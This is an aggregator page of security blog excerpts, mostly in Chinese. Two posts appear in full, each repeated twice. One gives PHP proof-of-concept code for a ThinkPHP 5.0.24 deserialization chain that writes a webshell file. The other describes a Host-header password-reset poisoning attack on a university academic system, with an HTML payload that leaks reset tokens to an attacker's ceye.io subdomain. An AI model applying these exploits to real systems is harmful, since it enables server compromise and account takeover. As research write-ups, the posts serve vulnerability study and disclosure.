Aggregator
Security Lessons from Across the Pond: Local Government Ransomware Attacks
4 years 11 months ago
Although ransomware has declined in media coverage, it appears to be gaining in strategic precision. F5 Labs' David Warburton writes for IDG Connect, discussing concrete steps for public sector organizations to defend themselves effectively.
Virtual Desktop Infrastructure (VDI) ? Risks and Solutions
4 years 11 months ago
Leverage the benefits of VDI without opening yourself to security risk. Guardicore provides user access management and microsegmentation for Citrix.
Sharon Besser
Recommended Security Controls for 2020
4 years 11 months ago
F5 Labs recommends security controls based on the top 2019 cyber threats. Learn how these recommendations tie into the best practices to prevent data breaches.
ThinkPHP v5.0.x反序列化 Pop Chain复现(附POC)
4 years 11 months ago
0x00关于本文
本文内容是针对ThinkPHP v5.0. fx 反序列化利用链挖掘的复现。
本文会从一 个只会反序列化基础知识的小白的视角一步一步复现这个利用链,在阅读本文的时候需要具备一定反序列化的基础,同时配合ThinkPHP v5.0.x 反序列化利用链挖掘阅读。
在复现的过程中由于原文写的过于模糊,有一部分利用链不太一样但是开头结尾是一样的。
同时很不幸,该利用链不能在Windows上利用(待会我会说原因的),期待各位大佬找到一条通用的pop chain
0x01环境搭建 首先需要有个ThinkPHP V5.0.24的环境,这个过程就略过去了,接着再在application/index/controller/Index.php写下如下代码 <?php namespace app\index\controller;
class Index { public function index() { echo "Welcome thinkphp 5.0.24"; unserialize(base64_decode($_POST['payload'])); } } 为什么我要选择使用base64_decode的办法传递Payload呢,那是因为在序列化字符串中往往有一些不可见字符,复制的话会漏掉,索性base64 0x02万事开头难--第一个类的反序列化及为什么要命名空间(namespace)以及extents 想要搞反序列化必然是需要一个起点的,原文使用了Windows类来开始 那首先我们需要一个Windows类 于是构建代码如下
<?php namespace think\process\pipes; class Windows {
} $x=new Windows(); echo serialize($x); echo "<p>"; echo base64_encode(serialize($x)); 底下我分别输出了反序列化的结果和base64编码过后的反序列化结果以便检查
为什么需要在前面加个namespace呢?
因为ThinkPHP中的Windows类是有namespace的,长这样:
namespace think\process\pipes;
use think\Process;
class Windows extends Pipes { ...... 我们需要指名道姓地钦点它才可以,这样反序列化出来的字符串长这样:O:27:"think\process\pipes\Windows":0:{}
是包含了命名空间的,而如果不加的话字符串就成了O:7:"Windows":0:{} 它们是不一样的,在我们实际测试中发现只有前面那种才能引起反序列化 (ThinkPHP官方是不会写什么函数被调用的话的,因此这句话当然是我加在函数里面以便调试的)
其中Windows类继承了抽象类Pipes,但是实际测试发现不管父类对于生成的代码没有影响,因此我们可以直接忽略父类,缩短我们的POC 0x03抽象类的利用和利用链的连接 文中说到我们需要利用__toString做跳板,并找到了Model抽象类 可是这个抽象类,我们不能直接定义,那该怎么办呢?答案很简单,找子类 我们很轻松地找到了Pivot子类,它长这样 namespace think\model;
use think\Model;
class Pivot extends Model { 抄过去再改改就成了这样 <?php namespace think\model;
class Pivot {
} namespace think\process\pipes; use think\model\Pivot; class Windows { public function __construct() { $this->files=[new Pivot()]; } } $x=new Windows(); echo serialize($x); echo "<p>"; echo base64_encode(serialize($x));
关于处理子类,我在上一节已经说过,就抄它的namespace,extends去掉就可以了。 接着我们要把它塞到Windows类的file里面去,这里首先要注意,我们不能直接这么写代码 protected $file=[new Pivot()]; 而要定义一个构造函数,因为Pivot()是动态的,需要__construct函数来动态赋值
如果读者足够细心还会发现一行莫名其妙的代码 use think\model\Pivot; 根本不知道从哪儿来的 而如果我们不加的话就会出现这样的错误 ( ! ) Fatal error: Uncaught Error: Class 'think\process\pipes\Pivot' not found in D:\wamp64\www\thinkphp_5.0.24\public\index4.php on line 14 这一行功能是导入已有的命名空间,之所以要这么做是因为它是命名空间think\model(我们刚刚定义在前面的)下的Pivot类,以后遇到了类似情况照此处理,即命名空间+"\"+类名 就这样我们成功调用了toArray函数 0x04不知道标题取啥反正下一步 接下来的利用花了我很长时间。 作者说要执行$item[$key] = $value ? $value->getAttr($attr) : null;这部分代码,同时操控$value来使其调用__call(因为$value是我们选择的对象,这个对象没有getAttr函数就会调用__call函数)
作者说关键是这两行控制了$value,因此我们想要控制$value那我们必须要通过操控这两行来操控$value。 $modelRelation = $this->$relation(); $value = $this->getRelationData($modelRelation);
那我们开始分析了,首先想要进到这个If分支需要通过 if (!empty($this->append)) { 的检验,所以我们首先得给$this->append设个值 那么就需要考虑这句话了 $modelRelation = $this->$relation(); 作者说要利用getError是咋回事呢?这个和getError有啥关系? 仔细看代码,是$this->$relation()不是$this->relation(),$relation是一个变量,因此我们要是能把$relation设定成getError这个字符串就可以了。 作者没有提到怎么操纵,于是我得自己想办法看调用路径 foreach ($this->append as $key => $name) { 接着是 $relation = Loader::parseName($name, 1, false); 这个append我们可以控制,这个parseName函数就是个转换命名格式的函数,不会对getError这个字符串有改变,于是只需要再Pivot类里面进行如下改动就可以 protected $append = ['getError']; 由于getError函数返回的就是this->error,这个值我们可以操控,所以我们就可以操控$modelRelation了。
0x05换条POP链 作者说了,要把$modelRelation换成一个HasOne对象,因为这里面有一个getRelationData可以调用。构造到这一步,当前代码如下 <?php namespace think\model\relation; class HasOne { }
namespace think\model;
use think\model\relation\HasOne; class Pivot { protected $append = ['getError']; public function __construct() { $this->error=new HasOne(); } } namespace think\process\pipes; use think\model\Pivot; class Windows { public function __construct() { $this->files=[new Pivot()]; } } $x=new Windows(); echo serialize($x); echo "<p>"; echo base64_encode(serialize($x)); 可是到了这一步,我搞不懂作者是怎么弄得了,他写的实在是太模糊了,所以我换了条POP链,发现居然也能用 在HasOne类的getRelation函数中有如下代码 $relationModel = $this->query ->removeWhereField($this->foreignKey) ->where($this->foreignKey, $this->parent->$localKey) ->relation($subRelation) ->find(); 我发现这个query可以利用,这个foreignKey也可以操控,那不就可以了吗? 抱着试试看的想法,把$this->query设成Output,直接跳到Output类去。 结果成功了
0x06最后的坑 如果看懂了我前面写的东西(没看懂就算了。。。)那么剩下的代码就不难构造了 <?php //File类 namespace think\cache\driver; class File { protected $tag='sodayo'; protected $options = [ 'expire' => 0, 'cache_subdir' => false, 'prefix' => false, 'path' => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>', 'data_compress' => false, ]; }
//Memcached类 namespace think\session\driver; use think\cache\driver\File; class Memcached { protected $handler; function __construct() { $this->handler=new File(); } }
//Output类 namespace think\console; use think\session\driver\Memcached; class Output { protected $styles = ['removeWhereField']; function __construct() { $this->handle=new Memcached(); } } //HasOne类 namespace think\model\relation; use think\console\Output; class HasOne { //protected $foreignKey="sss"; //$this->query->removeWhereField($this->foreignKey) function __construct() { $this->query=new Output(); } }
//Pivot类 namespace think\model; use think\model\relation\HasOne; class Pivot { protected $append = ['getError']; public function __construct() { $this->error=new HasOne(); } } //Windows类 namespace think\process\pipes; use think\model\Pivot; class Windows { public function __construct() { $this->files=[new Pivot()]; } } $x=new Windows(); echo serialize($x); echo "<p>"; echo base64_encode(serialize($x)); (其实是我懒得写了) 可是发现file_get_contents后面就运行不了了? 调试了半天才发现,Windows系统里面创建不了含有某些特殊字符的文件,我一口老血喷到屏幕上 最后在Linux上面复现成功
0x06最后 这什么鬼玩意,搞了那么半天才复现一条鸡肋反序列化链,而且我从来没见过哪个程序员允许我控制整个路径或者反序列化过程,很怀疑这玩意的使用价值
本文会从一 个只会反序列化基础知识的小白的视角一步一步复现这个利用链,在阅读本文的时候需要具备一定反序列化的基础,同时配合ThinkPHP v5.0.x 反序列化利用链挖掘阅读。
在复现的过程中由于原文写的过于模糊,有一部分利用链不太一样但是开头结尾是一样的。
同时很不幸,该利用链不能在Windows上利用(待会我会说原因的),期待各位大佬找到一条通用的pop chain
0x01环境搭建 首先需要有个ThinkPHP V5.0.24的环境,这个过程就略过去了,接着再在application/index/controller/Index.php写下如下代码 <?php namespace app\index\controller;
class Index { public function index() { echo "Welcome thinkphp 5.0.24"; unserialize(base64_decode($_POST['payload'])); } } 为什么我要选择使用base64_decode的办法传递Payload呢,那是因为在序列化字符串中往往有一些不可见字符,复制的话会漏掉,索性base64 0x02万事开头难--第一个类的反序列化及为什么要命名空间(namespace)以及extents 想要搞反序列化必然是需要一个起点的,原文使用了Windows类来开始 那首先我们需要一个Windows类 于是构建代码如下
<?php namespace think\process\pipes; class Windows {
} $x=new Windows(); echo serialize($x); echo "<p>"; echo base64_encode(serialize($x)); 底下我分别输出了反序列化的结果和base64编码过后的反序列化结果以便检查
为什么需要在前面加个namespace呢?
因为ThinkPHP中的Windows类是有namespace的,长这样:
namespace think\process\pipes;
use think\Process;
class Windows extends Pipes { ...... 我们需要指名道姓地钦点它才可以,这样反序列化出来的字符串长这样:O:27:"think\process\pipes\Windows":0:{}
是包含了命名空间的,而如果不加的话字符串就成了O:7:"Windows":0:{} 它们是不一样的,在我们实际测试中发现只有前面那种才能引起反序列化 (ThinkPHP官方是不会写什么函数被调用的话的,因此这句话当然是我加在函数里面以便调试的)
其中Windows类继承了抽象类Pipes,但是实际测试发现不管父类对于生成的代码没有影响,因此我们可以直接忽略父类,缩短我们的POC 0x03抽象类的利用和利用链的连接 文中说到我们需要利用__toString做跳板,并找到了Model抽象类 可是这个抽象类,我们不能直接定义,那该怎么办呢?答案很简单,找子类 我们很轻松地找到了Pivot子类,它长这样 namespace think\model;
use think\Model;
class Pivot extends Model { 抄过去再改改就成了这样 <?php namespace think\model;
class Pivot {
} namespace think\process\pipes; use think\model\Pivot; class Windows { public function __construct() { $this->files=[new Pivot()]; } } $x=new Windows(); echo serialize($x); echo "<p>"; echo base64_encode(serialize($x));
关于处理子类,我在上一节已经说过,就抄它的namespace,extends去掉就可以了。 接着我们要把它塞到Windows类的file里面去,这里首先要注意,我们不能直接这么写代码 protected $file=[new Pivot()]; 而要定义一个构造函数,因为Pivot()是动态的,需要__construct函数来动态赋值
如果读者足够细心还会发现一行莫名其妙的代码 use think\model\Pivot; 根本不知道从哪儿来的 而如果我们不加的话就会出现这样的错误 ( ! ) Fatal error: Uncaught Error: Class 'think\process\pipes\Pivot' not found in D:\wamp64\www\thinkphp_5.0.24\public\index4.php on line 14 这一行功能是导入已有的命名空间,之所以要这么做是因为它是命名空间think\model(我们刚刚定义在前面的)下的Pivot类,以后遇到了类似情况照此处理,即命名空间+"\"+类名 就这样我们成功调用了toArray函数 0x04不知道标题取啥反正下一步 接下来的利用花了我很长时间。 作者说要执行$item[$key] = $value ? $value->getAttr($attr) : null;这部分代码,同时操控$value来使其调用__call(因为$value是我们选择的对象,这个对象没有getAttr函数就会调用__call函数)
作者说关键是这两行控制了$value,因此我们想要控制$value那我们必须要通过操控这两行来操控$value。 $modelRelation = $this->$relation(); $value = $this->getRelationData($modelRelation);
那我们开始分析了,首先想要进到这个If分支需要通过 if (!empty($this->append)) { 的检验,所以我们首先得给$this->append设个值 那么就需要考虑这句话了 $modelRelation = $this->$relation(); 作者说要利用getError是咋回事呢?这个和getError有啥关系? 仔细看代码,是$this->$relation()不是$this->relation(),$relation是一个变量,因此我们要是能把$relation设定成getError这个字符串就可以了。 作者没有提到怎么操纵,于是我得自己想办法看调用路径 foreach ($this->append as $key => $name) { 接着是 $relation = Loader::parseName($name, 1, false); 这个append我们可以控制,这个parseName函数就是个转换命名格式的函数,不会对getError这个字符串有改变,于是只需要再Pivot类里面进行如下改动就可以 protected $append = ['getError']; 由于getError函数返回的就是this->error,这个值我们可以操控,所以我们就可以操控$modelRelation了。
0x05换条POP链 作者说了,要把$modelRelation换成一个HasOne对象,因为这里面有一个getRelationData可以调用。构造到这一步,当前代码如下 <?php namespace think\model\relation; class HasOne { }
namespace think\model;
use think\model\relation\HasOne; class Pivot { protected $append = ['getError']; public function __construct() { $this->error=new HasOne(); } } namespace think\process\pipes; use think\model\Pivot; class Windows { public function __construct() { $this->files=[new Pivot()]; } } $x=new Windows(); echo serialize($x); echo "<p>"; echo base64_encode(serialize($x)); 可是到了这一步,我搞不懂作者是怎么弄得了,他写的实在是太模糊了,所以我换了条POP链,发现居然也能用 在HasOne类的getRelation函数中有如下代码 $relationModel = $this->query ->removeWhereField($this->foreignKey) ->where($this->foreignKey, $this->parent->$localKey) ->relation($subRelation) ->find(); 我发现这个query可以利用,这个foreignKey也可以操控,那不就可以了吗? 抱着试试看的想法,把$this->query设成Output,直接跳到Output类去。 结果成功了
0x06最后的坑 如果看懂了我前面写的东西(没看懂就算了。。。)那么剩下的代码就不难构造了 <?php //File类 namespace think\cache\driver; class File { protected $tag='sodayo'; protected $options = [ 'expire' => 0, 'cache_subdir' => false, 'prefix' => false, 'path' => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>', 'data_compress' => false, ]; }
//Memcached类 namespace think\session\driver; use think\cache\driver\File; class Memcached { protected $handler; function __construct() { $this->handler=new File(); } }
//Output类 namespace think\console; use think\session\driver\Memcached; class Output { protected $styles = ['removeWhereField']; function __construct() { $this->handle=new Memcached(); } } //HasOne类 namespace think\model\relation; use think\console\Output; class HasOne { //protected $foreignKey="sss"; //$this->query->removeWhereField($this->foreignKey) function __construct() { $this->query=new Output(); } }
//Pivot类 namespace think\model; use think\model\relation\HasOne; class Pivot { protected $append = ['getError']; public function __construct() { $this->error=new HasOne(); } } //Windows类 namespace think\process\pipes; use think\model\Pivot; class Windows { public function __construct() { $this->files=[new Pivot()]; } } $x=new Windows(); echo serialize($x); echo "<p>"; echo base64_encode(serialize($x)); (其实是我懒得写了) 可是发现file_get_contents后面就运行不了了? 调试了半天才发现,Windows系统里面创建不了含有某些特殊字符的文件,我一口老血喷到屏幕上 最后在Linux上面复现成功
0x06最后 这什么鬼玩意,搞了那么半天才复现一条鸡肋反序列化链,而且我从来没见过哪个程序员允许我控制整个路径或者反序列化过程,很怀疑这玩意的使用价值
DriverTom
算法课程总结
4 years 11 months ago
hurricane618
关于Gorgon近期针对巴西用户的攻击分析报告
4 years 11 months ago
记一次GorgonAPT组织的完整攻击
HTTP Cache Poisoning Advisory
4 years 11 months ago
Summary On January 14, 2020, CERT CC published an advisory warning of the potential use of Content Delivery Networks (CDNs) to cache malicious traffic. Akamai acknowledges this issue and has been aware of similar research in the past. This advisory...
Akamai
2019 高校运维 ezcms 复现
4 years 11 months ago
之前高校运维碰到的题目, 当时就我一个人输出 web + 自己太菜了, 就没做出来 _(:3」∠)_, 寒假有时间看看, 复现一下题目.
日志分析系列(外传三):平台安全性
4 years 11 months ago
本系列故事纯属虚构,如有雷同纯属巧合小B在实现了统一日志分析平台后,想到的第一个问题就是平台的安全性,用于安
如何招聘网络安全工程师?
4 years 11 months ago
“ 人是一切的开始,也是一切的基础。”
将 VMware 虚拟机精简分配的磁盘空间返还给宿主机
4 years 11 months ago
在给虚拟机分配磁盘时,为了不让分配的磁盘立马占用大量宿主机空间,可以使用精简分配(thin provisioning)。虚拟机的磁盘文件大小会随着磁盘中内容的增多而增加,但是却不会随着文件的删除而减少。这篇文章将介绍如何把虚拟机精简分配的磁盘空闲的空间返还给宿主机。
谈养生
4 years 11 months ago
谈养生
tom0li
Streaming and Security: In Conversation With Smita Aeron
4 years 11 months ago
People from around the globe are looking for instant and uninterrupted access to streaming services, on any device and in any location. But delivering high-quality streams that can easily scale to meet audience demand is no easy task. To better...
Akamai
2020 后区块链世界及安全的一些思考
4 years 11 months ago
这个未来是一座灯塔,区块链安全也追随这这座灯塔,创造空间无限,市场空间无限。
Black Friday, Cyber Monday and the Seasonal E-Commerce Onslaught
4 years 11 months ago
The holiday shopping season is a bonanza for both shoppers and attackers. F5 Labs' David Warburton writes for ITProPortal, discussing the most commonly seen seasonal threats and how annual trends are shifting.
Windows dll注入 - luoyesiqiu
4 years 11 months ago
概念 DLL注入(英语:DLL injection)是一种计算机编程技术,它可以强行使另一个进程加载一个动态链接库以在其地址空间内运行指定代码[1]。在Windows操作系统上,每个进程都有独立的进程空间,即一个进程是无法直接操作另一个进程的数据的(事实上,不仅Windows,许多操作系统也是如此)
luoyesiqiu
Research Reveals Americans’ Perceptions of Device Security Amidst CES 2020
4 years 11 months ago
From the Lifx Switch smart switch to the Charmin RollBot to Kohler Setra Alexa-connected faucets, CES 2020 has introduced new...
The post Research Reveals Americans’ Perceptions of Device Security Amidst CES 2020 appeared first on McAfee Blog.
McAfee
【转载】PHP 实现 Base64 编码/解码
4 years 11 months ago
作者:Dennis_Ritchie 原文地址:https://learnku.com/articles/36655 多看看外面的世界 对于现在很多的 PHP 程序员
【0day】不一样的密码重置漏洞(以U█P教务系统为例)
4 years 11 months ago
0x00 概述
在阅读了Host-Header欺骗在密码找回中的利用之后,我很受启发,拿着██大学的教务系统做了测试,发现了同类型漏洞存在,并且改进了漏洞利用方式使其具有更高的杀伤性。
由于██大学直接选择的是著名的U█P系统作为教务系统,因此这是个通用型的漏洞,理论上通杀各类U█P系统。
但对于该漏洞的利用需要受害者的交互还会在邮箱中留下记录,出了事一查一个准,因此妄想通过该漏洞拿到老师账号改成绩是不现实的。 0x01 背景:HOST头不可信 在编写WEB应用的时候,程序员往往不会直接把网站的host硬编码到代码中,而是通过动态手段获取(如$_SERVER['HTTP_HOST'])。 但是问题在于这个HOST并不是WEB应用自己带的,而是用户提供的!下面举个小例子来证明这一点。 看看以下代码 <?php var_dump($_SERVER['HTTP_HOST']); ?> 我们可以直接访问来测试它 获取如下结果
再用localhost.fbi.gov来访问(localhost.fbi.gov指向了127.0.0.1)
获取到的HOST就变成了localhost.fbi.gov
我们可以看到,这个HTTP_HOST是从用户提交的HOST头中获取的,因此是不可信的
所以,攻击者可以通过污染HOST头让服务器做出一些设计者意想不到的事情。
0x02 漏洞发现 首先我们注意到,██大学教务系统在使用IP或者域名访问来请求重置密码的时候,链接的HOST不一样 这是用IP访问的时候
这是用域名访问的时候
我们可以猜测,这个链接的开头是由HOST头动态拼接的,因此或许可以利用这一点来实现攻击,但是在我初次尝试的时候遇到了一点挫折
服务器拒绝了我提供的HOST头,直白的host deny不留一丝情面 但是只需要略施小计就会发现只要我们提供的HOST头里面包含了合法的HOST就能够通过它的认证
现在我们可以通过替换这个HOST头实施攻击了 首先在BurpSuite中做出如下替换
接着再申请找回密码,密码重置邮件就变成这样了
可以看到,攻击者可以构造特殊的链接,让受害者点击链接之后把重置token送到攻击者的服务器上 0x03 杀伤性提升 尽管看起来很有用,但我相信任何智力正常的用户都不会点击一个莫名其妙的链接,所以我们需要改进我们的payload来提高杀伤性。 众所周知,邮箱可以加载图片,如果我们想办法让邮箱自动加载图片,那岂不是可以在用户点开邮件的瞬间获取其重置token? 抱着这样的想法,首先查看了邮件中的html代码并整理如下 <br><a href='http://[inject]/forgetPassword/modifyPassword?sid=[sid]&id=[id]'> http://[inject]/forgetPassword/modifyPassword??sid=[sid]&id=[id]</a> <br> 其中[inject]是我们的HOST头,是我们可控的部分
不难构造出html代码'></a><img src='http://[ceye子域名].ceye.io/[IP地址]:80/ 来让html变成这样
(由于[inject]在两个地方,笔者实在无法构造更完美的代码) <br><a href='http://'></a><img src='http://[ceye子域名].ceye.io/[ip地址]:80//forgetPassword/modifyPassword?sid=[sid]&id=[id]'> http://'></a><img src='http://[ceye子域名].ceye.io/[ip地址]:80//forgetPassword/modifyPassword??sid=[sid]&id=[id]</a> <br> 我们来抓包改HOST测试下
发现这成功让QQ邮箱将这部分视为图片并尝试加载
接下来我们可以看到ceye接收到结果
至此我们已经成功减少了交互的复杂性,提升了该漏洞的杀伤能力
0x04 武器化 对于这类漏洞,必须要有一个server来接受参数,因此编写利用代码是很重要的。 我用Flask构建了一个简单的脚本,它能够开一个服务接收sid和id并自动化重置密码
同时返回图片降低受害者警惕,代码已经放在这里,可以参考使用
0x05 如何修复漏洞 把host是否合法的判断由包含换成等于
由于██大学直接选择的是著名的U█P系统作为教务系统,因此这是个通用型的漏洞,理论上通杀各类U█P系统。
但对于该漏洞的利用需要受害者的交互还会在邮箱中留下记录,出了事一查一个准,因此妄想通过该漏洞拿到老师账号改成绩是不现实的。 0x01 背景:HOST头不可信 在编写WEB应用的时候,程序员往往不会直接把网站的host硬编码到代码中,而是通过动态手段获取(如$_SERVER['HTTP_HOST'])。 但是问题在于这个HOST并不是WEB应用自己带的,而是用户提供的!下面举个小例子来证明这一点。 看看以下代码 <?php var_dump($_SERVER['HTTP_HOST']); ?> 我们可以直接访问来测试它 获取如下结果
再用localhost.fbi.gov来访问(localhost.fbi.gov指向了127.0.0.1)
获取到的HOST就变成了localhost.fbi.gov
我们可以看到,这个HTTP_HOST是从用户提交的HOST头中获取的,因此是不可信的
所以,攻击者可以通过污染HOST头让服务器做出一些设计者意想不到的事情。
0x02 漏洞发现 首先我们注意到,██大学教务系统在使用IP或者域名访问来请求重置密码的时候,链接的HOST不一样 这是用IP访问的时候
这是用域名访问的时候
我们可以猜测,这个链接的开头是由HOST头动态拼接的,因此或许可以利用这一点来实现攻击,但是在我初次尝试的时候遇到了一点挫折
服务器拒绝了我提供的HOST头,直白的host deny不留一丝情面 但是只需要略施小计就会发现只要我们提供的HOST头里面包含了合法的HOST就能够通过它的认证
现在我们可以通过替换这个HOST头实施攻击了 首先在BurpSuite中做出如下替换
接着再申请找回密码,密码重置邮件就变成这样了
可以看到,攻击者可以构造特殊的链接,让受害者点击链接之后把重置token送到攻击者的服务器上 0x03 杀伤性提升 尽管看起来很有用,但我相信任何智力正常的用户都不会点击一个莫名其妙的链接,所以我们需要改进我们的payload来提高杀伤性。 众所周知,邮箱可以加载图片,如果我们想办法让邮箱自动加载图片,那岂不是可以在用户点开邮件的瞬间获取其重置token? 抱着这样的想法,首先查看了邮件中的html代码并整理如下 <br><a href='http://[inject]/forgetPassword/modifyPassword?sid=[sid]&id=[id]'> http://[inject]/forgetPassword/modifyPassword??sid=[sid]&id=[id]</a> <br> 其中[inject]是我们的HOST头,是我们可控的部分
不难构造出html代码'></a><img src='http://[ceye子域名].ceye.io/[IP地址]:80/ 来让html变成这样
(由于[inject]在两个地方,笔者实在无法构造更完美的代码) <br><a href='http://'></a><img src='http://[ceye子域名].ceye.io/[ip地址]:80//forgetPassword/modifyPassword?sid=[sid]&id=[id]'> http://'></a><img src='http://[ceye子域名].ceye.io/[ip地址]:80//forgetPassword/modifyPassword??sid=[sid]&id=[id]</a> <br> 我们来抓包改HOST测试下
发现这成功让QQ邮箱将这部分视为图片并尝试加载
接下来我们可以看到ceye接收到结果
至此我们已经成功减少了交互的复杂性,提升了该漏洞的杀伤能力
0x04 武器化 对于这类漏洞,必须要有一个server来接受参数,因此编写利用代码是很重要的。 我用Flask构建了一个简单的脚本,它能够开一个服务接收sid和id并自动化重置密码
同时返回图片降低受害者警惕,代码已经放在这里,可以参考使用
0x05 如何修复漏洞 把host是否合法的判断由包含换成等于
DriverTom